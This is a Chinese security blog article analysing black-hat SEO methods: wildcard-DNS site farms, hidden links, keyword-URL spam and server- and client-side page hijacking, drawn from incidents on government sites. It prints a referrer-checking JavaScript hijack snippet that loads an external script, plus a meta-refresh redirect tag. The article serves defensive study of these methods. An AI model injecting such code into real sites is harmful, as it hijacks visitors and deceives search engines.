當前位置:
首頁 > 新聞 > 黑帽SEO剖析之手法篇

黑帽SEO剖析之手法篇

此系統文章總共分為四篇,分別是手法篇、工具篇、隱藏篇、總結篇;本篇為黑帽SEO之手法篇,主要介紹黑帽seo的概念以及一些常用的手法。  


首先得說黑帽SEO是個老話題,我不難想像評論區必定有人吐槽此手法已經由來已久,作者有炒冷飯的嫌疑。我對此觀點表示認可,然而細細回味之後,卻又感到無奈不解。一個早已被用爛的黑產手法,一個每年給互聯網產業造成巨大損失的黑色手段,為何能一直延續至今?是技術上難以攻破,還是利益驅使下選擇視而不見? 


當我發現公開資源中對此黑產手法的介紹寥寥無幾且並不詳細時,原因便可想而知了。為了營造了一個良好的互聯網環境,我在此結合實際案列對黑帽SEO這種黑產手段進行剖析介紹,希望能夠使安全界同道引起共鳴,共同抵制。  


由於距本文撰寫已過去一年之久,而此期間我已不在研究相關技術,因此若文章內容有任何偏差及謬誤請諒解。

插曲:有趣的是,就在前幾天有位朋友詢問了我關於黑帽SEO方面的問題,原因是他一位朋友運營的一個網站,頁面莫名其妙出現了賭博博彩的內容,刪除後又會自動生成,其十分苦難便尋求他幫忙。


黑帽seo概念


SEO全稱為搜索引擎優化,是指通過站內優化、站外優化等方式,提升搜索引擎收錄排名。既然有SEO技術,便會有相應的從業人員,他們被稱為白帽SEO,專指通過公正SEO手法,幫助提升站點排名的專業人員。  


當然有白便會有黑,由於白帽SEO優化的過程將會十分漫長,一個新站想要獲取好的排名,往往需要花上幾年時間做優化推廣。因此一些想要快速提升自身網站排名的小夥伴,便開始在SEO上研究作弊手法,從而誕生了黑帽SEO。黑帽SEO是指通過作弊手段,讓站點快速提升排名的一類SEO技術,或者說是黑客技術,比如說:黑鏈(暗鏈)、站群、網站劫持(搜索引擎劫持)、橋頁等,黑帽SEO能夠快速提升排名,但畢竟是違規作弊行為,容易被K。


SEO的一些黑色手法


黑帽SEO的手法很多,並且在不斷地更新換代,其中最常見的包括利用泛解析做站群,入侵高權重網站掛暗鏈,入侵高權重網站做網頁劫持,篡改高權重網站網頁內容,利用高權重網站二級目錄做推廣頁面,修改nginx配置做目錄反向代理等等。接下來我結合實際案例,介紹一些常用的手段。


利用泛解析建立泛二級域名站群


利用DNS泛解析可以快速建立站群,因為一個一級域名便可以衍生出無數個二級域名,當然一般需要藉助站群工具,因為建立站群需要有很多內容不同的頁面,手工建立顯然不可能。而seo人員大費周章地建立站群的目的,便是能夠快速吸引大量的搜索引擎爬蟲,增加網站在搜索引擎中的收錄量。以下是某個泛二級域名站群案例截圖:


需要說明的是,以上截圖中的二級域名並不是通過一條條dns解析記錄去綁定的,解析裡面設置的是*,也就是泛解析。而伺服器端有程序或者代碼去控制當構造不同的二級域名訪問時,會返回不同的網頁內容,也就讓搜索引擎誤認為每個二級域名都是一個單獨的網站。  


泛解析有很多優點,比如對用戶友好(即使輸錯二級域名也能跳轉到目標網站),又能夠更快速地被搜索引擎收錄等。基於這些優點,很多站長會選擇用此方式來增加網站收錄,然而如果沒有妥善的使用泛解析可能會帶來難以想像的危害。


利用泛解析做黑產


利用泛解析做黑帽seo的方式也有很多種,基於是否需要入侵網站以及dns伺服器,我分為入侵法與非入侵法來介紹。


入侵法


真實案例:幾個月前我們發現一個重要政府網站出現了大量博彩頁面,取證截圖如下:


 


經過分析我發現,此手法利用的便是泛解析,從截圖中可以看到出現了大量此政府網站的二級甚至三級域名,而這些域名都是隨機構造的,訪問後會跳轉到博彩色情等非法頁面,而訪問一級域名又是正常的內容。且先不分析跳轉的過程中用到了哪些技術,單從泛解析記錄就不難看出,此網站被人篡改了dns解析記錄。我們有理由相信,黑客獲取了此域名的dns解析控制許可權,並將此域名泛解析到黑客準備好的伺服器上。那麼黑客這麼做的目的很明顯,為了讓搜索引擎快速收錄二級或者三級域名,從而達到引流到非法頁面的目的。  


我們通過分析此政府網站被入侵特徵推導出此事件過程應該是,黑客通過入侵手段獲取到了該政府網站dns解析許可權(如何獲取暫不可知),然後通過添加泛解析記錄,將此記錄指向黑客準備好的伺服器,而此伺服器上有動態語言去實現通過不同二級域名訪問,返回不同的頁面結果功能。由於政府網站本身權重很高,因此二級域名頁面被百度快速收錄,達到為非法頁面引流的目的。這種手法的好處在於不必入侵網站,而只要獲取到域名解析許可權即可(當然獲取域名解析許可權也並非易事)。

非入侵法


真實案例:幾天前我們發現有一個網站(sdddzg.cn)利用泛解析做惡意推廣,查看網站特徵後,我們嘗試構造不同的二級域名訪問,取證截圖如下。構造二級域名訪問:



最終返回結果:


 


可以看到返回結果對網頁內容以及url做了處理,當我們嘗試構造不同的二級域名訪問,發現返回結果內容都不一樣,然而通過獲取ip發現來自同一台伺服器。首先我們不難想到,此域名一定是做了泛解析的,那麼它是如何控制網頁內容變化的呢?查看網頁源碼可以看到jiang.gov.cn網頁源碼被嵌入到了目標網頁中。



那麼其實想要實現此技術也並不難,可以在服務端上用代碼實現。首先通過獲取請求的二級域名地址,然後去訪問該二級域名內容獲取源碼鑲嵌到自己的網頁內。如果構造的二級域名內容不是一個完整的域名地址(如:1.sdddzg.cn),則隨機返回一段源碼。這種手法的好處在於不必入侵網站,只需要自己搭建一台伺服器即可,但推廣效果沒有那麼好。


利用網站暗鏈

在網頁中植入暗鏈這種手法已經相對落伍了,目前用的也比較少,因為搜索引擎已經能夠對此作弊手法進行檢測。為了介紹知識的完整性,此處我簡單介紹一下。暗鏈也稱為黑鏈,即隱蔽鏈接 hidden links,是黑帽SEO的作弊手法之一。掛暗鏈的目的很簡單,增加網站外鏈,提高網站排名;實現方式主要分為幾種:利用CSS實現、利用JS實現、利用DIV+JS實現等。具體介紹請參考:黑帽SEO之暗鏈


利用高權重網站,構造關鍵詞URL做推廣


真實案例:一年前當我剛研究黑帽SEO的時候發現了一個有趣的黑帽SEO方式,雖然手法比較拙劣老套,但卻也有成效。於是在寫這篇文章的時候,我特意找了一個典型案例,與大家分享,取證截圖如下。



將URL中的參數內容顯示到網頁內,這原本是某些網頁的一種特殊功能。以往的經驗告訴我這種特性如果沒有處理好,可能會引發XSS漏洞,而今我不得不認識到,這種特性也一直被用於黑帽seo。通過在url或者post數據包(常見於搜索框功能)中構造推廣關鍵詞,再將有推廣關鍵詞頁面添加到蜘蛛池中,使搜索引擎收錄就能達到推廣的目的。一般此種手法常被用來推廣qq號,盈利網站等(類似打廣告),而當我們通過搜索引擎搜索某些關鍵詞時(如色情資源),就會顯示出此頁面,從而達到推廣自身賬號或者網站的目的,當然這只是一種推廣手段,並不太涉及引流。


利用網頁劫持引流


網頁劫持,又叫網站劫持或者搜索引擎劫持,是目前黑帽SEO中最流行的一種做法。其原因可以簡單概括為:易收錄、難發現,易收錄表現為搜索引擎尚沒有很好的機制能夠檢測出此作弊手段,網頁劫持手法仍然能夠大量引流。難發現是指網頁劫持手法比較隱蔽,一般非技術人員很難發現它的存在。  


網頁劫持從手法上可以分為服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;  


網頁劫持的表現形式可以是劫持跳轉,也可以是劫持呈現的網頁內容(與直接篡改網頁內容不同),目前被廣泛應用於私服、博彩等暴利行業。


網頁劫持真實案例



幾個月前我處理了一起網頁劫持案列,起因是某政府網站上出現了博彩相關內容(排除新聞頁面),這顯然是不合規的。排除管理員失誤添加導致,恐怕此網站多半是被黑客入侵了。首先我訪問了該記錄上的鏈接,緊接著瀏覽器中出現了一個正常的政府頁面,而也就須臾之間,網頁瞬間又跳轉到了博彩網頁。圖一為正常政府頁面:



圖二為博彩頁面:


 


可以看到博彩頁面的域名為www.0980828.com,顯然不是先前的政府網站域名xxxx.gov.cn。看到此現象,再結合多年安全經驗,我大致能夠猜測此網站應該是被網頁劫持了。通過分析以上過程的數據包,不難發現在該網站前端頁面被嵌入了一段非法代碼。



此代碼存放在43.250.75.61伺服器上,查看該伺服器信息,發現其在日本。


而通過訪問此段代碼,返回內容則是跳轉到www.0980828.com網站上。



分析至此,我們不難發現,導致頁面跳轉的原因便是xxxx.gov.cn網頁被非法嵌入了一竄代碼,而此代碼能夠控制訪問該網頁時跳轉到博彩頁面。這是搜索引擎劫持最為基礎且常見的一種方式,其變種甚多,類型方式也各異。最後我通過登錄web伺服器查看,發現了存在大量html文件被篡改,且都在文件開頭被寫入外部js引用。那麼此入侵事件過程應該是,黑客通過web應用程序某些漏洞入侵伺服器(實際是管理後台弱口令+任意文件上傳),通過批量篡改伺服器靜態文件實現網頁劫持的目的。網頁劫持的手法非常多,並不是這一個案例就能概括的,更多詳細情況請繼續看下文介紹。


服務端劫持


服務端劫持也稱為全局劫持,此手法為修改網站動態語言文件,判斷訪問來源控制返回內容,從而達到網頁劫持的目的。其特點往往是通過修改asp/aspx/php等後綴名文件,達到動態呈現網頁內容的效果。  


Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先載入該腳本,然後再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問則返回正常頁面。


客戶端劫持


客戶端劫持的手法也很多,但最常用的就兩種:js劫持與Header劫持。js劫持目的是通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。js植入手法是可以通過入侵伺服器,直接寫入源代碼中;也可以寫在資料庫中,因為有些頁面會呈現資料庫內容。js劫持代碼案例:以下代碼可以使通過搜索引擎搜索的並點擊頁面時,執行一段js並跳轉到博彩頁面;而直接輸入網址訪問網頁時,跳轉到一個404頁面。

today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ("<script language="javascript" type="text/javascript" src="//i0.wp.com/www.xxx.com/test.js"></script>");
}
else
{
window.location.href="../../404.htm";
}

代碼分析:通過referer判斷來路,如果referer來路為空就是跳轉到404頁面,如果是搜索引擎來的referer裡面也會有顯示,然後在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其餘訪問跳轉等等。header劫持,就是在html代碼的head中添加特殊標籤,代碼如下:

<meta http-equiv="refresh" content="10; url=http://thief.one">

header劫持利用的就是Meta Refresh Tag(自動轉向)功能將流量引走。


直接篡改網頁內容(比較低級)


有些黑客在入侵網站後,喜歡直接篡改網頁內容,比如放上自己的qq號,或者作為推廣將網頁篡改成非法頁面。在此我對此做法的黑客表示鄙視,因為這是一種最惡劣最低級的手法。惡劣在於直接篡改網頁內容,可能會導致網站無法挽回的損失;低級在於此手法極易被發現,起不到真正的引流推廣作用。


利用高權重網站二級目錄


即黑客入侵網站後,在網站二級目錄下創建很多自己做推廣的頁面。為了達到引流的目的黑客往往需要建立大量的二級目錄頁面,因此需要用到寄生蟲程序來自動化的創建頁面。此手法也需要入侵高權重網站,獲取網站伺服器許可權。與網頁劫持手法不同的是,此手法側重點在於利用高權重網站自身的優勢,在其目錄下創建多個推廣頁面;而網頁劫持側重隱藏自身,其可以做到動態呈現網頁內容給客戶。因此在實際使用中,黑客經常結合兩者使用。此手法與利用泛解析做黑帽seo的手法還是有明顯差異的,雖然同樣是利用高權重網站本身的優勢,但泛解析利用的是二級域名,而此手法利用的是二級目錄,當然兩者有異曲同工之妙。  


利用高權重網站二級目錄手法的案例與泛解析案例類似,這裡不再詳述。既然我前面提到此手法往往需要寄生蟲程序的配合使用,那麼何為寄生蟲程序?它又有何玄機?下篇將會詳細介紹,敬請期待。


小結:黑產的技術再不斷進步,我們沒法停滯不前!


本文來自個人博客:https://thief.one/2017/09/28/1/


*本文作者:nmask,轉載請註明來自 FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

雅虎承認其30億用戶信息全部被黑
針對巴西商業公司財務的攻擊事件分析
挖洞經驗 | 記一次有關參數指定型XSS的故事

TAG:FreeBuf |